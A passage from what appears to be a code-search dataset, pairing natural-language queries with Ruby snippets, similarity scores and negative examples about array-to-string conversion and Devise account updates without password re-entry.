"def array2str(type, arr)\n case type\n when :char, :int8\n arr.pack('c*')\n when :uchar, :uint8\n arr.pack('C*')\n when :short, :int16\n arr.pack('s*')\n when :ushort, :uint16\n arr.pack('S*')\n when :int32\n arr.pack('l*')\n when :uint32\n arr.pack('L*')\n when :int\n arr.pack('i!*')\n when :uint\n arr.pack('I!*')\n when :bool\n [arr ? 1 : 0].pack('i!*')\n when :long\n arr.pack('l!*')\n when :ulong\n arr.pack('L!*')\n when :long_long, :int64\n arr.pack('q*')\n when :ulong_long, :uint64\n arr.pack('Q*')\n when :size_t\n arr.pack(SIZET_FORMAT)\n when :float\n arr.pack('f*')\n when :double\n arr.pack('d*')\n when :string, :pointer\n arr.pack('p*')\n else\n raise \"unknown type #{type}\"\n end\n end",
"def to_s\n to_a.join(\"\\n\")\n end",
"def to_s\n str = []\n self.each { |val|\n str << val\n }\n return str.to_s\n end",
"def to_s\n \"(#{@x.map(&:to_s).join(\" + \")})\"\n end",
"def name(arr)\n\tarr.join(' ')\nend",
"def to_s\n @board_array.flatten.join(\"\")\n end",
"def to_s\n to_data.map(&:to_s).join(\"\\n\")\n end",
"def to_sentence(array)\n if array.respond_to?(:to_sentence)\n array.to_sentence\n else\n array.join(\", \")\n end\n end",
"def to_s\n \"#{@name}(#{@x.map(&:to_s).join(\", \")})\"\n end",
"def to_s\n to_a.join(',')\n end",
"def normalize_array(array)\n array.map(&:to_s)\n end",
"def normalize_array(array)\n array.map(&:to_s)\n end",
"def to_s\n sprintf(FORMAT,*to_a)\n end",
"def to_s\n to_a.join(\"\\n\")\n end",
"def to_s\n inject(\"\") { |a, b| a + b.to_s }\n end",
"def to_s\n inject(\"\") { |a, b| a + b.to_s }\n end",
"def to_s\n inject(\"\") { |a, b| a + b.to_s }\n end",
"def stringify\n self.compact.join(' ')\n end",
"def to_s\r\n @list.map{|el| el.to_s}.join ' '\r\n end",
"def to_s(options = {})\n map { |o| o.to_s(options) }.join\n end",
"def smash (array)\n array.join(\" \")\nend",
"def to_s\n inject(\"\") { |a, b| a + b.to_s }\n end",
"def to_s\n inject(\"\") { |a, b| a + b.to_s }\n end",
"def to_s\n return if empty?\n result = []\n each do |item|\n result << item\n end\n result.join(\"\\n\")\n end",
"def to_s\n @out.join\n end",
"def to_s\n format_chars.join\n end",
"def to_joined_str (item)\n if (item.class == Array) then\n item.join(\", \")\n else\n item.to_s\n end\nend",
"def my_join(array, separator)\n\tarray_string = \" \"\n\tarray.each{ |a| array_string << a + separator }\n\treturn array_string\nend",
"def array_to_string arr, type\n if arr.size == 1\n \"#{type}='#{arr[0]}'\"\n else\n \"#{type} in ('#{arr.join(\"','\")}')\"\n # \"#{type} in (#{arr.map { |i| \"'\" + i.to_s + \"'\" }.join(\",\")}) \"\n end\n end",
"def human_string(array)\n length = array.length\n \n new_string = array[0...-1].join(\", \")\n new_string << \" and #{array[-1]}\"\n \n return new_string\nend",
"def to_s\n @out.join\n end",
"def to_s\n return '['+self.values.join(',')+']'\n end",
"def args_to_string(array)\n\tarray.map {|x| x.class == Array && x.size > 1 ? x[0].size > 1 ? '--' + x.join(' ') : '-' + x.join(' ') : x }.join(' ')\nend",
"def to_s\n #create an array to hold the values\n array_values = []\n #loop through array\n @store.each do |element|\n #check if it's not empty, then add element to the array that was created\n if !element.nil?\n array_values.append(element)\n end\n end\n #return the array and make sure to do to_s to ensure string in case it mutated somewhere\n return array_values.to_s\n end",
"def to_s\n\t w=0\n\t aux = \"[\"\n\t for i in(0..@alt)\n\t aux += \"[\"\n\t for j in(0..@anc)\n\t\tif (w < @n_elem && i==@alto[w])\n\t\t if(j==@ancho[w])\n\t\t if(j==@anc)\n\t\t\taux += \"#{@elem[w]}\"\n\t\t else\n\t\t\taux += \"#{@elem[w]},\"\n\t\t end\n\t\t w=w+1\n\t\t else\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\t end\n\t\telse\n\t\t if(j==@anc)\n\t\t\taux += \"0\"\n\t\t else\n\t\t\taux += \"0,\"\n\t\t end\n\t\tend\n\t end\n\t aux += \"]\"\n\t end\n\t aux += \"]\"\n\t aux\n\tend",
"def to_s\r\n @list.map{|el| el.to_s}.join ' | '\r\n end",
"def to_s\n string=\"\"\n each { |value| string+=value.to_s + \"\\n\" } # Funciona también entre do-end\n return string\n end",
"def to_s\n @chars.join\n end",
"def to_s\n values.to_s\n end",
"def to_s\n values.to_s\n end",
"def to_s\n @data.map(&:to_s).join(\"\\n\")\n end",
"def to_s\n join\n end",
"def to_s\n self.to_a.map{ |row| row.join(' ') }.join(\"\\n\")\n end",
"def to_str\n @collection.join(\" \") unless @collection.empty?\n end",
"def to_s\n @vector.to_s\n end",
"def to_s\n Array(render).map(&:to_s).join(\"\\n\")\n end",
"def to_string\n list.to_string\n end",
"def to_s\n \"(#{[' ', '+'][value]})\"\n end",
"def to_string(expression)\n\t\t\tif expression.is_a? Array\n\t\t\t\texpression.map { |exp| to_string(exp) }\n\t\t\t\treturn \"(\" + expression.join(\" \") + \")\"\n\t\t\telse\n\t\t\t\treturn expression.to_s\n\t\t\tend\n\t\tend",
"def to_s\n\t\t\"#{@label}:#{@items.map { |x| x.to_s }.join(' ')}\"\n\tend",
"def print_array(array)\n puts '[' + array.join(',') + ']'\nend",
"def to_s\n @chars.map { |row| row.join }.join(\"\\n\")\n end",
"def to_s\n self.join\n end",
"def to_s\n @output.inject('') { |r, entry| r << entry.to_s }\n end",
"def numarray_to_stringarray(array)\n\tif array.respond_to?(:push) #checks for an array\n\t\tarray.join(\" \").split(\" \")\n\telsif array.respond_to?(:zero?) #checks for an int/float\n\t\tarray.to_s.split('')\n\telsif array.respond_to?(:upcase) #checks for a string\n\t\tarray.split(\"\")\n\telse\n\t\t\"Something was wrong with your input\"\n\tend\nend",
"def to_s\n board_as_string = \"\"\n board.each do |row|\n board_as_string += row.join(\"\")\n end\n return board_as_string\n end"
] | [
"0.82369655",
"0.7931556",
"0.79197073",
"0.7643666",
"0.76374394",
"0.75368977",
"0.74581146",
"0.74581146",
"0.74540716",
"0.74323225",
"0.7426978",
"0.73795867",
"0.7360123",
"0.7338302",
"0.7338302",
"0.7338302",
"0.7333398",
"0.7329531",
"0.72759765",
"0.7265223",
"0.72618735",
"0.7230615",
"0.7205136",
"0.7181543",
"0.71717227",
"0.712634",
"0.712634",
"0.7111977",
"0.7111977",
"0.7111977",
"0.70960176",
"0.70503306",
"0.702535",
"0.70243365",
"0.6981647",
"0.69589573",
"0.69589573",
"0.69492733",
"0.6932835",
"0.6932469",
"0.6918759",
"0.69088036",
"0.6907887",
"0.6893921",
"0.68842375",
"0.6871542",
"0.6865406",
"0.68647546",
"0.68453",
"0.6837103",
"0.68303496",
"0.6825618",
"0.6797401",
"0.6791981",
"0.678878",
"0.678878",
"0.6777108",
"0.6774545",
"0.67397016",
"0.67397016",
"0.67397016",
"0.6725029",
"0.6717663",
"0.6671422",
"0.6669956",
"0.66480553",
"0.66480553",
"0.66325986",
"0.6624427",
"0.66044176",
"0.66013193",
"0.66003734",
"0.6586947",
"0.657492",
"0.6558192",
"0.65322906",
"0.65245605",
"0.65169376",
"0.6513988",
"0.64914507",
"0.64879924",
"0.64871234",
"0.6481443",
"0.6481443",
"0.6476104",
"0.64349794",
"0.6431967",
"0.6423207",
"0.6416447",
"0.64159626",
"0.64139897",
"0.64093924",
"0.64048105",
"0.6396094",
"0.63923615",
"0.6389949",
"0.63856983",
"0.63754284",
"0.6369332",
"0.6365782"
] | 0.72650313 | 20 |
allow users to update their accounts without passwords | def update_without_current_password(params, *options)
params.delete(:current_password)
if params[:password].blank? && params[:password_confirmation].blank?
params.delete(:password)
params.delete(:password_confirmation)
end
result = update_attributes(params, *options)
clean_up_passwords
result
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update_without_password(params, *options); end",
"def update_with_password(params, *options); end",
"def update_resource(resource, params)\n if params[\"password\"]&.present? or params[\"email\"]&.present?\n return super\n else\n resource.update_without_password(params.except(\"current_password\"))\n end\n end",
"def update_without_password(params, *options)\n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params[\"password\"]&.present?\n # Allows user to update registration information without password.\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_with_password(params, *options)\n\t\tif encrypted_password.blank?\n\t\t\tupdate_attributes(params, *options)\n\t\telse\n\t\t\tsuper\n\t\tend\n\tend",
"def update!(**args)\n @password = args[:password] if args.key?(:password)\n @user = args[:user] if args.key?(:user)\n end",
"def edit_password; end",
"def update_resource(resource, params)\n return super if params[\"password\"]&.present?\n resource.update_without_password(params.except(\"current_password\"))\n end",
"def update_resource(resource, params)\n # Require current password if user is trying to change password.\n return super if params['password']&.present?\n\n # Allows user to update registration information without password.\n resource.update_without_password(params.except('current_password'))\n end",
"def update_with_password(params, *options)\n if encrypted_password.blank?\n update_attributes(params.except(:current_password), *options)\n else\n update_with_password_pass(params)\n end\n end",
"def update\n if params[:commit] == \"Update\"\n super\n elsif params[:commit] == \"Cancel my account\"\n if current_user.valid_password?(params[:user][:current_password])\n kill_user(current_user)\n destroy\n else\n # I don't know how rails is doing that nice effect, so I basically have this dirty hack here...\n clean_up_passwords current_user\n params[:commit] = \"Update\"\n update\n end\n end\n end",
"def update_with_password params, *options\n if encrypted_password.blank?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_without_password(params, *options)\n params.delete(:current_password)\n super(params)\n end",
"def update_without_password(params, *options)\n params.delete(:current_password)\n super(params)\n end",
"def update_without_password(params, *options)\n params.delete(:password) if params[:password].blank?\n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update\n puts 'ENTROU NO UPDATE USER'\n return vinculate_user unless params[:vincular].nil?\n\n update_password\n end",
"def update? ; user.account.active? ; end",
"def update_current_logged_in_users_password(args = {}) \n put(\"/users.json/current/password\", args)\nend",
"def update\n # @user = User.find(params[:id])\n @user = current_user # makes our views \"cleaner\" and more consistent\n params[:user][:existing_identity_attrs] ||= {}\n unless configatron.user_can_change_login\n params[:user].delete(:login)\n @user_login_is_readonly = true\n end\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Account updated!\"\n format.html { redirect_to account_url }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @disabled_user_deletion = args[:disabled_user_deletion] if args.key?(:disabled_user_deletion)\n @disabled_user_signup = args[:disabled_user_signup] if args.key?(:disabled_user_signup)\n end",
"def update!(**args)\n @disabled_user_deletion = args[:disabled_user_deletion] if args.key?(:disabled_user_deletion)\n @disabled_user_signup = args[:disabled_user_signup] if args.key?(:disabled_user_signup)\n end",
"def change_password\r\n \r\n end",
"def update_resource(resource, params)\n # if params['email'] != current_user.email || params['password'].present?\n # resource.update_with_password(params)\n # else\n resource.update_without_password(params.except('password', 'password_confirmation', 'current_password'))\n # end\n end",
"def update\n if params[:adminuser][:password].blank? && params[:user][:password_confirmation].blank?\n params[:adminuser].delete('password')\n params[:adminuser].delete('password_confirmation')\n end\n super\n end",
"def check_password_changed\n self.temp_password = nil if ( changed.include?('encrypted_password') && !(changed.include?('temp_password')))\n end",
"def update_with_password(params = {})\n if has_facebook_profile?\n params.delete(:current_password)\n update_without_password(params)\n else\n super\n end\n end",
"def update_with_password(params={}) \n if params[:password].blank? \n params.delete(:password) \n params.delete(:password_confirmation) if params[:password_confirmation].blank? \n end \n update_attributes(params) \n end",
"def update_with_password(params={})\n params.delete(:current_password)\n self.update_without_password(params)\n end",
"def update_with_password(params={})\n params.delete(:current_password)\n self.update_without_password(params)\n end",
"def update\n if params[:user][:password].blank?\n params[:user].delete(:password)\n params[:user].delete(:password_confirmation)\n end\n end",
"def update_password\n # check current password is valid\n if params[:account].present? and [email protected]_password?(params[:account][:current_password])\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"Current password incorrectly.\" }\n return\n end\n\n if params[:account].present?\n params[:account].delete(:password) if params[:account][:password].blank?\n params[:account].delete(:password_confirmation) if params[:account][:password].blank? and params[:account][:password_confirmation].blank?\n\n if @account.update_with_password(account_params)\n bypass_sign_in(@account)\n redirect_to gns_core.my_account_backend_accounts_path, flash: { success: \"The new password has been successfully changed.\" }\n else\n if params[:account][:password].nil? or params[:account][:password].length < 6\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"New password must contain at least 6 characters.\" }\n else\n redirect_to gns_core.my_account_backend_accounts_path, flash: { error: \"Repeat password does not match.\" }\n end\n end\n end\n end",
"def change_temp_password\n\tend",
"def update\n modified_params = user_params\n modified_params.delete(\"password\") if modified_params[\"password\"].empty?\n if @user.update(modified_params)\n @users = current_user.users\n end\n end",
"def update\n if correct_password_check account_update_params[:current_password]\n \n pw_params = params[:user].permit(:current_password, :password, :password_confirmation, :first_name, :last_name)\n # Handle updating password if they added anything.\n if (current_user.valid_password?(pw_params[:password]) || current_user.valid_password?(pw_params[:password_confirmation]))\n # Passwords are the same, do nothing.\n elsif (pw_params[:password] == pw_params[:password_confirmation] && pw_params[:password].length > 6)\n # Password are different.\n current_user.password = pw_params[:password]\n current_user.password_confirmation = pw_params[:password_confirmation]\n current_user.save!\n flash.alert = \"Success: Password has been changed!\"\n end\n\n \n user_params = params[:user].except(:current_password, :password, :password_confirmation).permit(:first_name, :last_name, :email)\n unless current_user.update!( user_params )\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n\n flash.alert = \"Success: Account has been updated!\"\n redirect_to edit_user_registration_path\n end\n end",
"def update\n account_update_params = devise_parameter_sanitizer.sanitize(:account_update)\n\n # This is required for the form to submit when the password is left blank.\n if account_update_params[:password].blank?\n account_update_params.delete('password')\n account_update_params.delete('password_confirmation')\n end\n\n @user = User.find(current_user.id)\n if @user.update_attributes(account_update_params)\n set_flash_message ':notice', :updated\n\n # Sign in the user and bypass validation in case the password changed.\n sign_in @user, bypass: true\n redirect_to after_update_path_for(@user)\n else\n render 'edit'\n end\n end",
"def update\n if params[:user][:password].present? || params[:user][:current_password].present?\n super\n else\n @user = User.find(current_user.id)\n if @user.update_without_password(params[:user])\n redirect_to after_update_path_for(@user), :notice => I18n.t(\"devise.registrations.updated\")\n else\n render \"edit\"\n end\n end\n end",
"def update\n @login = Login.find(params[:id])\n\n #Test for save successful and react\n if @login.update(login_params.to_h.deep_reject { |k, v| ['password', 'password_confirmation'].include?(k) && v.blank? })\n flash[:success] = \"Account updated\"\n redirect_to :back\n else\n flash[:alert] = \"Account NOT updated\"\n render 'edit'\n end\n end",
"def update\n # User.find(current_user) vs plain current_user avoids failed name change to appear immediately in layout\n @user = User.find(current_user.id)\n \n # this needs to be passed to the object instance so that it validates the current password\n # any more elegant way to do it?\n @user.validate_current_password = true if account_section == 'password'\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = \"Changes saved.\"\n format.html { redirect_to account_edit_url(account_section) }\n format.xml { head :ok }\n else\n format.html { render :action => :edit }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def change_password\n #check if user is new or being updated\n if self.encrypted_password.present?\n #verifies password\n if self.password_check\n self.encrypt_password\n else\n raise \"error\"\n end\n else\n raise \"error\"\n end\n end",
"def update_without_password(params={})\n\n params.delete(:password)\n params.delete(:password_confirmation)\n result = update_attributes(params)\n clean_up_passwords\n result\n end",
"def need_change_password!\n return unless password_expiration_enabled?\n\n need_change_password\n save(validate: false)\n end",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def update_users_password(args = {}) \n put(\"/users.json/backoffice/#{args[:userId]}/password/#{args[:password]}\", args)\nend",
"def set_password; nil; end",
"def update!(**args)\n @enabled = args[:enabled] if args.key?(:enabled)\n @password_required = args[:password_required] if args.key?(:password_required)\n end",
"def update_with_password(params, *options)\n if authentications.present?\n update_attributes(params, *options)\n else\n super\n end\n end",
"def update_account\n\n @user = User.find(current_user.id)\n\n successfully_updated = @user.update_with_password(user_params)\n\n if successfully_updated\n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n bypass_sign_in @user\n redirect_to user_path(@user.username)\n else\n render \"edit_account\"\n end\n\n end",
"def old_password\n nil\n end",
"def update_account(options)\n password = options[:new_password]\n parameters = { :curpass => options[:current_password], :email => options[:email], :newpass => password, :verpass => password, :api_type => :json }\n\n post('api/update', parameters)\n end",
"def update_with_password(params = {})\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if params[:password_confirmation].blank?\n end\n update(params)\n end",
"def password_change_new\n\n end",
"def skip_password_change_notification!; end",
"def update_with_password(params={})\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if params[:password_confirmation].blank?\n end\n update_attributes(params)\n end",
"def account_update_params\nparams.require(:user).permit(:name, :email, :password, :password_confirmation, :current_password)\nend",
"def update_without_current_password(params, *options)\n params.delete(:current_password)\n \n if params[:password].blank? && params[:password_confirmation].blank?\n params.delete(:password)\n params.delete(:password_confirmation)\n end\n \n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update_without_current_password(params, *options)\n params.delete(:current_password)\n \n if params[:password].blank? && params[:password_confirmation].blank?\n params.delete(:password)\n params.delete(:password_confirmation)\n end\n \n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def update_user\n end",
"def update_with_password(params={})\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if\n params[:password_confirmation].blank?\n end\n update_attributes(params)\n end",
"def update_with_password(params={})\n params.delete(:current_password)\n\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if params[:password_confirmation].blank?\n end\n update_attributes(params)\n\n end",
"def update\n @search = Item.search(params[:search])\n @user = User.find(current_user.id)\n email_changed = @user.email != params[:user][:email]\n password_changed = !params[:user][:password].empty?\n\n successfully_updated = if email_changed or password_changed #\n @user.update_with_password(params[:user])\n else\n @userparams = params[:user]\n @userparams.delete(:current_password)\n @userparams.delete(:password)\n @user.update_without_password(@userparams)\n end\n\n if successfully_updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to root_path\n else\n render \"edit\"\n end\n end",
"def update\n if params[:user][:password].blank? && params[:user][:password_confirmation].blank?\n params[:user].delete(:password)\n params[:user].delete(:password_confirmation)\n end\n super\n end",
"def update\n if @user.update_without_password(update_params)\n render_update_success @user\n else\n render_failure @user\n end\n end",
"def update_with_password(params={})\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if params[:password_confirmation].blank?\n end\n update_attributes(params)\n end",
"def update_with_password(params={})\n if params[:password].blank?\n params.delete(:password)\n params.delete(:password_confirmation) if params[:password_confirmation].blank?\n end\n update_attributes(params)\n end",
"def password_needed?\n resource.authentications.empty? \\\n ? resource.update_with_password(params[resource_name])\\\n : resource.update_attributes(params[resource_name])\n end",
"def update_without_current_password(params, *options)\n params.delete(:current_password)\n if params[:password].blank? && params[:password_confirmation].blank?\n params.delete(:password)\n params.delete(:password_confirmation)\n end\n result = update_attributes(params, *options)\n clean_up_passwords\n result\n end",
"def change_password\n @user = User.shod(params[:id])\n authorize! :update, @user\n end",
"def update\n @user = User.find(current_user.id)\n # email_changed = @user.email != params[:user][:email]\n is_facebook_account = [email protected]?\n\n successfully_updated = if !is_facebook_account\n @user.update_with_password(allowed_params)\n else\n @user.update_without_password(allowed_params)\n end\n\n if successfully_updated\n # Sign in the user bypassing validation in case his password changed\n # sign_in @user, :bypass => true\n redirect_to registration_path\n else\n redirect_to registration_path \n end\n end",
"def update \n @account = current_user.account\n if @account.authenticate(params[:account].delete(:current_password))\n if params[:edit] == \"email\" # special treatment for email\n @account.send_confirmation_instructions(params[:account][:email])\n flash[:notice] = I18n.t(:\"confirmations.sent\", \n :email => params[:account][:email]).html_safe\n # do not update current email unless it is not confirmed\n if @account.confirmed? \n redirect_to edit_account_path\n return\n end\n end \n if params[:edit] == \"password\"\n params[:account][:password_set_at] = Time.now\n end\n if @account.update_attributes(params[:account])\n redirect_to edit_account_path\n else\n render 'edit'\n end\n else \n @account.errors.add(:current_password, I18n.t(:'accounts.wrong_password'))\n render 'edit'\n end\n end",
"def admin_pwd_update\n @user = User.find_by_id(params[:user_id])\n @user.validate_pwd = true\n if @user.update(email: params[:user][:email], password: params[:user][:password], password_confirmation: params[:user][:password_confirmation])\n # if an admin is updating her own password, we need to get around Devise's automatic sign out\n if @user.id == current_user.id\n sign_in(@user, :bypass => true)\n end\n flash.keep[:notice] = 'The password for \"' + params[:user][:email] + '\" was successfully updated.'\n redirect_to '/users'\n else\n render :admin_pwd\n end\n end",
"def edit\n if !(current_user.id == @user.id || is_admin?)\n indicate_illegal_request I18n.t('users.not-your-account')\n end\n end",
"def update\n account = current_organization.accounts.find(params[:id])\n return forbidden unless account && current_account.allowed_to_edit_account?(account, current_organization)\n return json(account) unless account.update_attributes pick(params, :first_name, :last_name, :email,:language, :document_language)\n\n role = pick(params, :role)\n #account.update_attributes(role) if !role.empty? && current_account.admin?\n membership = current_organization.role_of(account)\n membership.update_attributes(role) if !role.empty? && current_account.admin?\n password = pick(params, :password)[:password]\n if (current_account.id == account.id) && password\n account.update(password: password)\n end\n json account.canonical(membership: membership)\n end",
"def update\n @user.password = params[:user][:password]\n @user.password_confirmation = params[:user][:password_confirmation]\n if @user.save\n @user.attempts = 0\n @user.save\n flash[:notice] = \"Password succesefully updated\"\n redirect_to account_url\n else\n render :action =>:edit\n end\n end",
"def update\n # prevent spoofs\n #TODO this is bullshit code; add filters, :before_update\n if !(request.post? || request.put?) || !user_signed_in? ||\n !(self.current_user.user_id == params[:id].to_i || self.current_user.admin_flag == 1)\n flash[:notice] = 'EPIC FAIL. You\\'re not logged in or you\\'re trying to update someone else\\'s account.'\n redirect_to(:controller => '/members', :action => 'index', :id=>params[:id])\n return\n end\n\n serviceable = MemberServiceable.new(params, session)\n @user = serviceable.update\n\n flash[:message]='Account Updated.'\n redirect_to(:controller => '/members', :action => 'profile', :id=>params[:id])\n\n end",
"def edit\n @title = \"Edit basic info\"\n @user=User.find(session[:user_id])\n if param_posted?(:user)\n attribute = params[:attribute]\n case attribute\n when \"email\"\n try_to_update @user, attribute\n when \"password\"\n if @user.correct_password?(params)\n try_to_update @user, attribute\n else\n @user.password_errors(params)\n end\n when \"team_id\"\n try_to_update @user, attribute\n end\n end \n #For security purpose, never fill in password fields automatically.\n @user.clear_password!\n end",
"def update\n if user_params[:password].blank?\n user_params.delete(:password)\n user_params.delete(:password_confirmation)\n end\n\n if needs_password?(current_user, user_params)\n save = current_user.update(user_params)\n else\n save = current_user.update_without_password(user_params)\n end\n\n respond_to do |format|\n if save\n format.html { redirect_to current_user.url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password_updation\n user_id = params[:user_id]\n password = params[:password]\n if password.present?\n @password = User.find(params[:user_id]).update(password: params[:password])\n render json: @password, status: :ok\n else\n render json: { error: 'password can not be nil' }, status: :unauthorized\n end \n end",
"def noexist_or_update_password\n !self.respond_to?(:encrypted_password) || self.encrypted_password.nil?\n end",
"def update\n @user = User.find(params[:id])\n if current_user.admin? && params[:password].present?\n @user.password = params[:password]\n end\n if @user != current_user && !current_user.admin?\n render json: ['Not authorized for that action'], status: :unauthorized\n elsif @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update_password\n @user.password = @new_e_password\n if GlobalConstant::User.auto_blocked_status == @user.status\n # if we had blocked a user for more than a threshhold failed login attemps we set status to blocked\n # now we should reset it to active\n @user.status = GlobalConstant::User.active_status\n @user.failed_login_attempt_count = 0\n end\n @user.save!\n end",
"def update\n @user = User.find(current_user.id)\n\n # See https://github.com/plataformatec/devise/wiki/How-To%3A-Allow-users-to-edit-their-account-without-providing-a-password\n successfully_updated = if needs_password?(@user, params)\n @user.update_with_password(devise_parameter_sanitizer.sanitize(:account_update))\n else\n params[:user].delete(:current_password)\n \n @user.update_without_password(devise_parameter_sanitizer.sanitize(:account_update))\n end\n\n if successfully_updated\n sign_in @user, :bypass => true\n redirect_to dashboard_path, notice: 'User was successfully updated.'\n else\n render 'edit'\n end\n end",
"def create_account(user)\n account = Account.to_adapter.get!(user.id)\n update_status = account.update_with_password({ \"email\" => user.email, \"name\" => user.username })\nend",
"def update\n \n oldUser = User.find(current_user.id)\n @user = User.find(current_user.id)\n\n successfully_updated = if needs_password?(@user, account_update_params)\n @user.update_with_password(account_update_params)\n else\n # remove the virtual current_password attribute update_without_password\n # doesn't know how to ignore it\n params[:user].delete(:current_password)\n @user.update_without_password(account_update_params)\n end\n\n if successfully_updated\n \n ## Move the user profile photo from tmp to user directory\n if @user.profile_photo!=\"\"\n move_tmp_user_photo(@user)\n end\n \n #update latitude longitude here ...\n if @user.user_type == \"fan\" || @user.user_type == \"artist\"\n #//check if the address has been changed\n addressChanged = !((oldUser.country_id == @user.country_id) && (oldUser.state_id == @user.state_id) && (oldUser.zip [email protected]) && (oldUser.city == @user.city))\n if addressChanged\n fullAddress = \"\"\n countryName = \"\"\n stateName = \"\"\n if @user.country_id.to_i > 0\n countryRow = Country.where(\"id = ? \",@user.country_id.to_i).take\n if countryRow != nil\n countryName = countryRow.country_name\n end\n end\n \n if @user.state_id.to_i > 0\n stateRow = State.where(\"id = ? \",@user.state_id.to_i).take\n if stateRow != nil\n stateName = stateRow.state_name\n end\n end\n \n if @user.zip.to_s != \"\"\n fullAddress = URI.encode(@user.zip)\n end\n \n if @user.city.to_s !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(@user.city)\n else\n fullAddress += \",\"+URI.encode(@user.city)\n end \n end\n \n if stateName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(stateName)\n else\n fullAddress += \",\"+URI.encode(stateName)\n end \n end\n \n if countryName !=\"\"\n if fullAddress.blank?\n fullAddress = URI.encode(countryName)\n else\n fullAddress += \",\"+URI.encode(countryName)\n end \n end\n \n #render text: fullAddress and return\n if !fullAddress.blank?\n lat_long = Geocoder.coordinates(fullAddress)\n cUser = User.find(@user.id);\n if lat_long!=nil\n cUser.update_attributes(:latitude => lat_long[0],:longitude => lat_long[1])\n end \n end \n end \n end\n \n set_flash_message :notice, :updated\n # Sign in the user bypassing validation in case his password changed\n sign_in @user, :bypass => true\n redirect_to after_update_path_for(@user)\n else\n render \"edit\"\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.updating_password = false\n \trespond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def password=(new_password); end",
"def update_password\n\t\t@admin = current_admin\n\t\tif(@admin.update_attributes(params[:admin]))\n\t\t\tredirect_to root_path\n\t\telse\n\t\t\trender :action => \"reset\"\n\t\tend\n\tend",
"def update\n params[:account].delete(:preferred_smtp_password) if params[:account][:preferred_smtp_password].blank?\n respond_to do |format|\n if @account.update_attributes(params[:account])\n format.html { redirect_to dm_core.admin_account_url, notice: \"Account was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.77653825",
"0.73083836",
"0.7171343",
"0.7103088",
"0.70882946",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.7053925",
"0.70126736",
"0.70057464",
"0.700406",
"0.70012176",
"0.69952846",
"0.6980737",
"0.6969719",
"0.69691914",
"0.6968177",
"0.6968177",
"0.69437283",
"0.6932536",
"0.6895103",
"0.68847096",
"0.6801365",
"0.6788263",
"0.6788263",
"0.67786676",
"0.67734206",
"0.67716795",
"0.6752184",
"0.67518234",
"0.6721405",
"0.670991",
"0.670991",
"0.66894895",
"0.668597",
"0.6685832",
"0.66846496",
"0.6681231",
"0.6663751",
"0.6647131",
"0.6634332",
"0.6624376",
"0.6621313",
"0.66212523",
"0.6614856",
"0.66132724",
"0.66132724",
"0.6608968",
"0.66080725",
"0.6605049",
"0.65956616",
"0.65883774",
"0.65868014",
"0.65855616",
"0.6562745",
"0.6561438",
"0.65609705",
"0.6560714",
"0.65546924",
"0.65546924",
